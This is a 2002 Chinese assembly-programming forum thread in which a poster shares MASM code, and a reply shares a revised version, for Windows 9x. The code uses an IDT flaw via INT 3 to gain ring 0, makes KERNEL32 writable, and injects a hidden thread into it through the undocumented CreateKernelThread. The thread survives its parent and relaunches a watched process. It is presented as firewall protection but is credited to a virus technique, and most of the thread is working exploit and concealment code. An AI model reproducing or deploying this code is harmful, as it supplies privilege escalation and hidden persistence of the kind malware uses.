WIN9X下内核线程注入及进程不死术,彻底保护防火墙

wowocock 2002-09-22 10:22:31
我们知道在NT内核下可以通过CreateRemoteThread插入到其他进程地址空间,这样可以让我们的线程脱离本身的进程而存在,但在WIN9X下则不行,但在WHG的中国黑客中却加入了WIN9X内核线程注入技术,可以将自己的线程注入到KERNEL32。DLL中,但在他的代码中是通过WinExec来实现从启病毒进程,而在WIN32下最好是通过CreateProcessA来实现,可该函数在执行时,必须往相应的内存中写入StartInfo ,ProcessInfo 等信息,而KERNEL32在RING3却是只读的,所以我改进了一下,将其改为可读写,这样RING3进程可以任意修改API,HOOK也可以很简单了,在注入的过程中用到了未公开的API,CreateKernelThread,由于MSDN上没有说明所以只能自己猜,在这里我将自己的线程注入到KERNEL32的地址BFF70600H中(这段都是空的,其代码从BFF71000H开始),我调试时发现,调用该API后系统便转移到我注入的内核线程中开始执行,到WaitForSingleObject,返回原进程继续执行至结束,然后再返回到注入内核线程的WaitForSingleObject后继续执行,这样我们就 可以让自己的线程脱离进程而进入KERNEL32空间运行,在系统的进程查看器中也找不到我插入的线程,通过上面的方法我把上次WIN9X进程监控代码移至内核中,本来发现速度太慢,后来增加SLEEP时间就可以了
大家参考看看,这里我用来监控NOTEPAD,大家也可以将其改为你自己防火墙的名字
.386p
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

MoveDataToKnl PROTO :dword,:dword,:dword

.data

User db 'User32.dll',0
KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlSleepStr db 'Sleep',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0
KnlGetStartupInfoStr db 'GetStartupInfoA',0
KnlCreateProcessStr db 'CreateProcessA',0
KnlGetExitCodeProcessStr db 'GetExitCodeProcess',0

UserMessageBoxStr db 'MessageBoxA',0

.code

;问题,要Sleep()这样做使Kernel32有机会更新数据
KnlThread proc ProcID:dword
call GetKnlSleep
KnlSleep dd ?
GetKnlSleep:
pop eax
push 0h
call dword ptr[eax]

call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
push ProcID
push FALSE
push PROCESS_ALL_ACCESS
call dword ptr[eax]
or eax,eax
jz ExitProtectProc

mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
push -1h
push ebx
call dword ptr[eax]
Run:
call Next
Next:
pop esi
sub esi,offset Next
lea ebx,StartInfo[esi]
call GetStartupIn
KnlGetStartupInfo dd ?
GetStartupIn:
pop eax
push ebx
call dword ptr[eax]

call GetCreateProcess
KnlCreateProcess dd ?
GetCreateProcess:
pop eax
lea ebx,ProcessInfo[esi]
push ebx
lea ebx,StartInfo[esi]
push ebx
push 0
push 0
push NORMAL_PRIORITY_CLASS
push 0
push 0
push 0
push 0
call GetFileNameAddress
FileName db 'c:\windows\notepad.exe',0
GetFileNameAddress:
call dword ptr[eax]
or eax,eax
jz ExitProtectProc

mov ebx,eax
@@CheckStatus:
lea eax,KnlSleep[esi]
push 500h
call dword ptr[eax]
call GetGetExitCodeProcess
KnlGetExitCodeProcess dd ?
GetGetExitCodeProcess:
pop eax
push ebx
push esp
push ProcessInfo.hProcess[esi]
call dword ptr[eax]
or eax,eax
jz ExitProtectProc

pop eax
cmp eax,STILL_ACTIVE
jz @@CheckStatus

call GetMessageBox
UserMessageBox dd ?
GetMessageBox:
pop eax
call MsgOK
db 'NotePad Exit ??',0
MsgOK:
pop ebx
push MB_YESNO
push ebx
push ebx
push 0
call dword ptr[eax]
cmp eax,IDNO
jz Run
ExitProtectProc:
ret
KnlThread endp

StartInfo STARTUPINFO<>
ProcessInfo PROCESS_INFORMATION<>
KnlThreadLength = $-KnlThread

Start:

invoke GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
invoke GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
invoke GetProcAddress,0bff70000h,offset KnlGetStartupInfoStr
mov KnlGetStartupInfo,eax
invoke GetProcAddress,0bff70000h,offset KnlCreateProcessStr
mov KnlCreateProcess,eax
invoke GetProcAddress,0bff70000h,offset KnlGetExitCodeProcessStr
mov KnlGetExitCodeProcess,eax
invoke GetProcAddress,0bff70000h,offset KnlSleepStr
mov KnlSleep,eax

invoke GetModuleHandle,offset User
or eax,eax
jnz OK
invoke LoadLibraryA,offset User
OK:
invoke GetProcAddress,eax,offset UserMessageBoxStr
mov UserMessageBox,eax

invoke MoveDataToKnl,offset KnlThread ,0bff70600h,KnlThreadLength
;ret
;int 3;

invoke GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
push esp
push 0
push eax
push 0bff70000h+600h
push 0
push 0
call ebx
pop eax
invoke MessageBoxA,0,offset FileName,offset FileName,0
Exit:
invoke ExitProcess,0 ;ret

MoveDataToKnl proc Src:dword,Des:dword,nCx:dword
push ebx
push esi
push edi
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03

pushad ;Ring0
mov eax,cr3 ;设置KERNEL32为可读写
and eax,0fffff000h
push eax
call P2L
mov edx,0bff70000h
shr edx,22
shl edx,2
mov eax,[eax+edx]
cmp eax,1
jz GExit
and eax,0fffff000h
push eax
call P2L
push eax
mov edx,0bff70000h
shl edx,10
shr edx,22
shl edx,2
mov eax,[eax+edx]
cmp eax,1
jz GExit
pop ecx
or eax,7h
mov [ecx+edx],eax
GExit:
popad
cli
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb ;复制代码/数据到内核代码指定位置
popad
sti
push ebp
mov ebp,esp ;抵消系统自动生成的LEAVE指令
iretd
SetIdt03:
pop word ptr[eax]
pop word ptr[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3 ;利用Win9x,IDT漏洞进入系统内核


pop edi
pop esi
pop ebx
ret
MoveDataToKnl endp

P2L proc P2LAddress:DWORD ;物理地址->线性性地址
push P2LAddress
int 20h
dd 0001006ch ;VmmCall_MapPhysToLinear
add esp,4
ret
P2L endp

end Start
...全文
72 18 打赏 收藏 转发到动态 举报
写回复
用AI写文章
18 条回复
切换为时间正序
请发表友善的回复…
发表回复
sum_1 2002-12-24
  • 打赏
  • 举报
回复


Start:
;................................................................;
; API初始化 ;
;................................................................;

invoke GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
invoke GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
MOV KnlWaitForSingleObject1,eax
invoke GetProcAddress,0bff70000h,offset KnlGetStartupInfoStr
mov KnlGetStartupInfo,eax
invoke GetProcAddress,0bff70000h,offset KnlCreateProcessStr
mov KnlCreateProcess,eax

invoke GetModuleHandle,offset User
or eax,eax
jnz OK
invoke LoadLibraryA,offset User
OK:
invoke GetProcAddress,eax,offset UserMessageBoxStr
mov UserMessageBox,eax
;..................................................................

invoke MoveDataToKnl,offset KnlThread ,0bff70600h,KnlThreadLength ;移动数据
OR EAX,EAX
JZ Moves_Error
;..................................................................;
; 调用CreateKernelThread ;
;..................................................................;

invoke GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
push esp
push 0
push eax
push 0bff70000h+600h
push 0
push 0
call ebx ;Call CreateKernelThread Of API
pop eax
;.................................................................
invoke MessageBoxA,NULL,offset FileName,offset FileName,MB_OK
JMP Exit
;.................................................................;
; 异常出口 ;
;.................................................................;
Moves_Error:
invoke MessageBoxA,NULL,addr ErrorInfoMess,addr ErrorInfoMess,MB_OK
;..................................................................
Exit:
invoke ExitProcess,0 ;EXIT

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>功能:改变BFF70H所在页表项属性(可写) >>
;>> :移动数据到指定位置 >>
;>>IN: Src(源),Des(目的),nCx(大小) >>
;>>OUT:EAX(是否成功) >>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MoveDataToKnl proc Src:dword,Des:dword,nCx:dword
push ebx
push esi
push edi
;.......................................;
;获得INT 3中断描述符并保存至EBX,EDX ;
;.......................................;
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03
;#############################################################
;# Ring0 #
;#############################################################

mov [eax],ebx ;恢复INT 3中断门
mov [eax+4],edx
;..............................................................;
;获得页目录表的物理地址并转换为线性地址,再获得页表的物理地址 ;
;..............................................................;

mov eax,cr3 ;CR3
push eax ;入口参数
call P2L
mov edx,0bff70000h
shr edx,22 ;析出BFF70000H的高10位作为偏移
shl edx,2 ;页表项的大小为4字节(跨度)
mov eax,[eax+edx] ;取出页表项
TEST eax,1 ;测试页表项是否有效
jz GExit
;.........................................................;
;获得页表项的物理地址并转换为线性地址,并设置页表项的属性 ;
;.........................................................;

and eax,0fffff000h
push eax
call P2L

mov edx,0bff70000h
shl edx,10 ;..析出BFF70000H的中间10位作为偏移.....
shr edx,22 ;.....................................
shl edx,2
mov ecx,[eax+edx]
TEST ecx,1 ;测试页表项是否有效
jz GExit
or ecx,6h ;页表项属性置为用户级,可读写
mov [eax+edx],ecx
;.......................................


cli ;Close
cld
mov esi,Src
mov edi,Des
mov ecx,nCx
rep movsb ;复制代码/数据到内核代码指定位置
sti ;Open

MOV EAX,1
push ebp
mov ebp,esp ;抵消系统自动生成的LEAVE指令
iretd
;...............;
; 页表项无效 ;
;...............;
GExit:
XOR EAX,EAX
push ebp
mov ebp,esp ;抵消系统自动生成的LEAVE指令
iretd
;#############################################################
SetIdt03:
pop word ptr[eax]
pop word ptr[eax+6]
int 3 ;出口参数(EAX)
pop edi
pop esi
pop ebx
ret
MoveDataToKnl endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>功能: 物理地址->线性性地址 >>
;>>IN: P2LAddress(Physical) >>
;>>OUT: EAX(Linear) >>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
P2L proc P2LAddress:DWORD
push P2LAddress
int 20h
dd 0001006ch ;VmmCall_MapPhysToLinear
add esp,4
ret
P2L endp

end Start


sum_1 2002-12-24
  • 打赏
  • 举报
回复





.386p
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

MoveDataToKnl PROTO :dword,:dword,:dword
;....................;
; EQU Of Definiens ;
;....................;
EQUCommandLine EQU db 'C:\WINDOWS\NOTEPAD.EXE',0
EQUFileName EQU FileName db 'C:\WINDOWS\NOTEPAD.EXE',0

.data
User db 'User32.dll',0
KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0
KnlGetStartupInfoStr db 'GetStartupInfoA',0
KnlCreateProcessStr db 'CreateProcessA',0
KnlGetExitCodeProcessStr db 'GetExitCodeProcess',0
UserMessageBoxStr db 'MessageBoxA',0
ErrorInfoMess db 'MovesError !',0
.code


KnlThread proc ProcID:dword
;.......................................;
; Call OpenProcess Of API ;
;.......................................;
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
push ProcID
push FALSE
push PROCESS_ALL_ACCESS
call dword ptr[eax]
or eax,eax
jz ProtectProc_Error
mov ebx,eax
;........................................;
; Call WaitForSingleObject Of API ;
;........................................;
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
push -1h
push ebx
call dword ptr[eax]
;........................................
;#######################################################
;# 对执行的进程进行监控 #
;#######################################################
Run:
call Next
Next:
pop esi
sub esi,offset Next
;.......................................;
; CALL GetStartInfo of API ;
;.......................................;
lea ebx,StartInfo[esi] ;[ESI+StartInfo]
call GetStartupIn
KnlGetStartupInfo dd ?
GetStartupIn:
pop eax
push ebx
call dword ptr[eax]
;.......................................;
; CALL CreateProcess of API ;
;.......................................;
call GetCreateProcess
KnlCreateProcess dd ?
GetCreateProcess:
pop eax
lea ebx,ProcessInfo[esi] ;[ESI+ProcessIfo]
push ebx
lea ebx,StartInfo[esi] ;[ESI+StartInfo]
push ebx
push 0
push 0
push NORMAL_PRIORITY_CLASS
push 0
push 0
push 0
call GetLineAddress ;PUSH Address Of Command Line
EQUCommandLine
GetLineAddress:
call GetFileNameAddress ;PUSH Address of FileName
EQUFileName
GetFileNameAddress:
call dword ptr[eax]
;............................................
or eax,eax
jz ProtectProc_Error
mov ebx,eax
;............................................;
;Call WaitForSingleObject of API(同步函数) ;
;............................................;
call GetKnlWaitForSingleObject1
KnlWaitForSingleObject1 dd ?
GetKnlWaitForSingleObject1:
pop eax
push INFINITE ;不超时
push [ESI+ProcessInfo.hProcess] ;Process Address
call dword ptr[eax] ;等待进程结束
;........................................;
; Call MessageBox Of API ;
;........................................;
call GetMessageBox
UserMessageBox dd ?
GetMessageBox:
pop eax
call MsgOK
db 'NotePad Exit ??',0
MsgOK:
pop ebx
push MB_YESNO
push ebx
push ebx
push 0
call dword ptr[eax]
cmp eax,IDNO
jz Run ;LOOP
;################################################################
JMP RET_Thread

ProtectProc_Error:
;...........................................;
; 异常出口 ;
;...........................................;
CALL ErrorInfo
db 'Create Process Error!',0
ErrorInfo:
POP EBX
PUSH MB_OK
PUSH EBX
PUSH EBX
PUSH NULL
CALL DWORD PTR [ESI+UserMessageBox]
;...........................................
RET_Thread:

ret
KnlThread endp

StartInfo STARTUPINFO<>
ProcessInfo PROCESS_INFORMATION<>
KnlThreadLength = $-KnlThread
sum_1 2002-12-24
  • 打赏
  • 举报
回复
1.看完这段代码后给我的第一感觉就是KnlThread PROC 中的对API的调用,开始觉得
怎么那么怪,但经过仔细研究后发现这种方法非常好!(1.把调用地址直接写到代码中
节省了存储空间 2.调用时省去了重定位,提高了效率 3.产生花指令,干扰反汇编)
唯一不足大概就是数据和代码混在一起了。

2.在改变页属性时要进行物理地址到线性地址的转换,这时代码用到了一个地址转换的
VXD功能调用。(非常精彩,在我印象中VXD的功能调用都是非常困难的。因为参数繁多,
而这方面的资料又特别少)

3.关于未公开API CreateKernelThread,它的参数及返回值的意义能否具体说一下。

4.在代码中存在着不少的BUG,我已经修正。代码的可读性也不好(例lea ebx,StartInfo[esi]
一句中的StartInfo[esi]就另人感到不可理解,由于我以前学过C所以看到这,本能反映是StartInfo
中的某个元素。这明显是国外编码人员的写作方式,换成[ESI+StartInfo]或[ESI]StartInfo这样对我们
来说不是容易理解的多吗).

关于代码更改的说明:
由于采用GetExitCodeProcess来获得进程的状态,就不可避免的要在CreateProcess后用Sleep延时(似乎
超时500H太夸张了,用30H就可以.)
我的修改意见是你既然用WaitForSingleObject来等待安装进程结束,为何不用它来等待由CreateProcess
产生的进程哪,由于本例程用判断是否处于信号态就足够了(为信号态时,所等待对象结束
WaitForSingleObject 函数返回)所以因选择不超时.由于WaitForSingleObject是同步处理函数因此它
的效率非常高.

最后,我还是有种感觉这种方法来保护进程,并非是主流.(我想因该是防止关闭,而不是进行重复的
CreateProcess)
以下是我修改后并加上注释的代码.


dszsun 2002-10-04
  • 打赏
  • 举报
回复
learning......
atm2001 2002-10-04
  • 打赏
  • 举报
回复
和whg的代码很相似呀。。。。

有个问题你的方法::太不安全了——搞不好系统会死机的

还是用内存感染技术插入比较好
golden_alvin 2002-10-02
  • 打赏
  • 举报
回复
mark
KomsBomb 2002-09-30
  • 打赏
  • 举报
回复
大兄弟,你跑这里来了
ybeetle 2002-09-30
  • 打赏
  • 举报
回复
可以了,很好用。
  为什么我不能用这个程式打开疯狂坦克呢?
sjlym 2002-09-26
  • 打赏
  • 举报
回复
ybeetle(小鬼):由于要写代码段,所以记住LINK时加上ERW参数
或将PE头中TEXT节属性改为E0000020
xiaoyu 2002-09-26
  • 打赏
  • 举报
回复
good
devspace 2002-09-26
  • 打赏
  • 举报
回复
wowocock(机器猫) ,忘了你哪个网站的地址,烦再贴遍
ybeetle 2002-09-25
  • 打赏
  • 举报
回复
为运行这个程序为啥说有错?
louifox 2002-09-25
  • 打赏
  • 举报
回复
很不错
wowocock 2002-09-24
  • 打赏
  • 举报
回复
补充一下,由于要写代码段,所以记住LINK时加上ERW参数
或将PE头中TEXT节属性改为E0000020
wowocock 2002-09-22
  • 打赏
  • 举报
回复
各位大哥,赞美的话少说,也帮我测试,题题意见啊,看看是不是系统占用太高了
,有什么改进方法啊??
wowocock 2002-09-22
  • 打赏
  • 举报
回复
各位大哥,赞美的话少说,也帮我测试,题题意见啊,看看是不是系统占用太高了
,有什么改进方法啊??
giantzz 2002-09-22
  • 打赏
  • 举报
回复
猫兄的WIN32功力可见了得,再次原地站起,向您致敬

向您学习!!!
itaolu 2002-09-22
  • 打赏
  • 举报
回复
好东西!!!!
收藏!!!!!

机器猫的win32编程水平真的很高!

21,459

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧